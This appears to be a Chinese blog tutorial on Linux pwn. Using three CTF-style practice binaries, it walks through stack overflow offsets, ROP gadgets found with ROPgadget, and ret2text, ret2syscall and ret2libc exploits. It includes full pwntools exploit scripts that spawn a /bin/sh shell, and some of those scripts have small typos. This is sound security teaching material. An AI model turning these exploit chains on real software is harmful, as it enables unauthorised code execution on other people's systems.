最近在複習pwn的一些知識。主要涉及到當堆棧開啟了保護的時候,我們不能夠直接將shellcode覆蓋到堆棧中執行,而需要利用程序其他部分的可執行的小片段來連接成最終的shellcode。此小片段就是gadgets。本文主要通過練習題的方式講述如何尋找gadgets,如何利用現有的工具來加速自己的pwn的效率。Gadgets的類型和難度也逐步變化。下面帶來手把手教你linux pwn。讓你的pwn技術從入門到熟練。練習題的難度逐步加大。
第一關的gadgets較為簡單,包含了一個直接可以利用的,可返回shell的函數。我們只要計算好覆蓋的偏移,將可返回shell函數的地址覆蓋到相應的位置即可以。程序下載:Pwn1
我們首先來查看一下該程序的保護情況,發現開啟了堆棧保護。即NX enabled。且是32bit的程序。因此需要在32位的linux環境下測試。
這裡涉及到一個工具,chechsec。該工具專門用來檢測程序中受保護的情況,我們可以根據程序受保護的情況來選擇對應的pwn策略。
下載以後,直接在命令行中建立符號鏈接就可以在terminal中直接使用了
sudo ln –sf checksec /usr/bin/checksec
接下來我們利用IDA查看一下程序的源代碼:
可以發現漏洞出現在gets裡面,gets函數存在緩衝區溢出漏洞,我們可以通過超長的字元串來覆蓋緩衝區,從而修改ROP。為了達到這個目的,我們需要首先計算,輸入的&s的堆棧地址位置距離堆棧的底部ebp的位置。Ebp的下一個地址,就是記錄了返回地址的位置。在32位的程序中,就是ebp+4。其中,Esp是棧頂指針,ebp是棧底指針。Esp -> ebp, 地址從小到大。小地址棧頂,大地址棧底。
我們有兩種方法可以得到s距離返回地址的偏移:徒手計算和利用patternoffset產生字元串。
首先第一種方法,徒手計算。我們利用gdb的輔助工具gef來輔助查看esp地址。注意,這裡需要按照這個輔助工具,gef,該工具會提供更加豐富的調試信息。包括堆棧信息,寄存器信息等。按照完畢之後,使用gdb –q *.elf執行就可以。
啟動的程序之後,我們在上述get函數的位置下斷點,即0x080486AE
可以看到 esp 為 0xbfffeed0,ebp為0xbfffef58,同時 s 相對於 esp 的索引為[esp+80h-64h]= [esp+0x1c]。所以s的地址為 0xbfffeeec,所以 s 相對於 ebp 的偏移為 0x6C(108),所以相對於返回地址的偏移為 0x6c+4(112)。
另外一種方法是利用patternoffset執行來計算。藉助到這個工具patternoffset。下載下來直接作為python腳本使用。利用下面的命令產生字元串到test的文件中:
python patternLocOffset.py -c -l 700 -f test
接著遠程IDA掛載調試,在程序的返回位置下斷點,即retn的位置。
它會在遠程的伺服器端等待我的輸入
~/ $ ./linux_server IDA Linux 32-bit remote debug server(ST) v1.22. Hex-Rays (c) 2004-2017 Listening on 0.0.0.0:23946... ========================================================= [1] Accepting connection from 192.168.110.1... There is something amazing here, do you know anything?
在這個位置,我就把產生的pattern計算字元串複製進去。(注意,如果這裡始終沒有讓程序停下來讓你輸入對應的字元串進去的話,就斷開ubuntu的server,然後重新連接一下,就會停下來等待我們的字元串輸入)
接著,查看程序覆蓋的寄存器ebp的內容為0x41366441
再利用offset的腳本計算一下輸入的緩衝區地址距離ESP相差多少的位元組,相差的是108個位元組。ESP之後,存儲的就是返回的地址,所以要加上108+4=112位元組的偏移。
得到的結果和上面是一致的。
接下來,我們需要找到可以利用的系統調用函數。在IDA中搜索(alt+T)可以利用來的系統sh調用函數:
最後,將需要覆蓋的地址0x0804863A填入指定的位置覆蓋,在利用pwntools來驗證攻擊。這裡利用到了一個pwntools工具。推薦使用基於源代碼的安裝方式,可以更為方便。
安裝方式為:
cd ~ git clone https://github.com/aquynh/capstone cd capstone make make install cd ~ git clone https://github.com/Gallopsled/pwntools cd pwntools python setup.py install
驗證:
>>> import pwn [!] Pwntools does not support 32-bit Python. Use a 64-bit release. >>> pwn.asm("xor eax, eax") 1xc0
使用下面的腳本來驗證攻擊:
from pwn import * pwn1 = process(./pwn1) sh = 0x804863a pwn1.sendline(A * (112) + p32(target)) pwn1.interactive()
在這一關中,沒有可以直接利用的system()函數讓我們直接調用了。我們可以學習使用系統調用來進行操作。系統調用的背景知識在這裡。
Pwn
Syscall的函數調用規範為: execve(「/bin/sh」, 0,0);
它對應的彙編代碼為:
pop eax, # 系統調用號載入, execve為0xb pop ebx, # 第一個參數, /bin/sh的string pop ecx, # 第二個參數,0 pop edx, # 第三個參數,0 int 0x80, # 執行系統調用
同樣的,首先利用工具來查看程序保護情況:
查看程序的代碼,發現同樣是gets造成的函數溢出。
因此我們這裡需要人為的構造了。這裡需要用到一個工具,來查到能夠控制eax,ebx,ecx,edx。就是ROPgadget。下載之後,直接安裝
python setup.py install
就可以使用了。執行命令,來查找對一個的彙編指令:
ROPgadget --binary ret2syscall --only pop|ret | grep "eax"
其中—binary 表示目標二進位的路徑,—only 表示只顯示指定的彙編語句, grep可以展示想要的寄存器。
針對eax選擇,0x080bb196 : pop eax ; ret
針對ebx和ecx選擇,0x0806eb91 : pop ecx ; pop ebx ; ret
針對edx,選擇,0x0806eb6a : pop edx ; ret
執行命令,篩選int 0x80的系統調用, 選擇:0x08049421
ROPgadget --binary ret2syscall --only int
執行命令,篩選字元串,得到:0x080be408
ROPgadget --binary ret2syscall --string /bin/sh
這裡選擇的每一個gadgets都含有ret是為了能夠使得程序自動持續的選擇堆棧中的指令依次執行。在構造這些gadgets之前,我們通過下面的堆棧指針移動圖,來分析一下eip指針的移動,以及對應獲取的數據內容。ret指令可以理解成去棧頂的數據作為下次跳轉的位置。即,
eip = [esp];
esp = esp+4;
或者簡單理解成: pop eip;
上圖中,左邊顯示的堆棧的內容,右邊是對應的代碼。數字表示的是,運行到特定的彙編指令的時候,esp指針的位置。總結下來,我們通過pop指令來移動esp指針獲取數據,比如字元串/bin/sh,我們通過ret指令來同樣移動esp指針來獲取下一條執行的命令。這樣,我們就能夠在不需要與堆棧中執行程序的情況下,順利的控制程序控制流的執行。
最終形成的shellcode利用pwntools的代碼為:
#!/usr/bin/env python from pwn import *
sh = process(./ret2syscall)
pop_eax_ret = 0x080bb196 pop_ecx_ebx_ret = 0x0806eb91 pop_edx_ret = 0x0806eb6a int_0x80 = 0x08049421 binsh = 0x80be408 payload = flat( [A * 112, pop_eax_ret, 0xb, pop_ecx_ebx_ret, 0,binsh, pop_edx_ret,0, int_0x80]) sh.sendline(payload) sh.interactive()
這一關中,我們主要通過導入函數裡面的system(「/bin/sh」)函數來完成調用。
Pwn3
發現它的保護也是類似的。該程序與之前類似,都是在gets函數存在漏洞。
首先查找system函數是否存在,利用IDA查看。
查看導入函數表,發現有system的外部調用函數在列表裡面,
從而確定地址為0x08048460。
在利用下面的命令查找」/bin/sh」的字元串,確定了字元串的地址為0x08048720
ROPgadget --binary ret2libc1 --string "/bin/sh"
那麼就可以依葫蘆畫瓢的構造shellcode了。
sh = process(./ret2libc1)
system_plt = 0x08048460 sh_addr = 0x8048720 payload = flat([a * 112, system_plt, 0xabcdabcd, sh_addr]) sh.sendline(payload)
sh.interactive()
這裡解釋一下,為什麼會有4個位元組空餘的部分。
這裡的部分,在正常調用system函數的時候,堆棧位置的system_plt之後的內容為system函數的返回地址,在之後才是新的堆棧的棧頂位置,因此在system_plt和sh_addr之間增加了4個字元來進行填充。
練習題:pwn4
下面留下一道題大家自己練習,該題目中,含有導入函數system(),但是沒有了字元串/bin/sh,需要自己想辦法獲取這個字元串。
TAG:Linux | pwn | 信息安全 |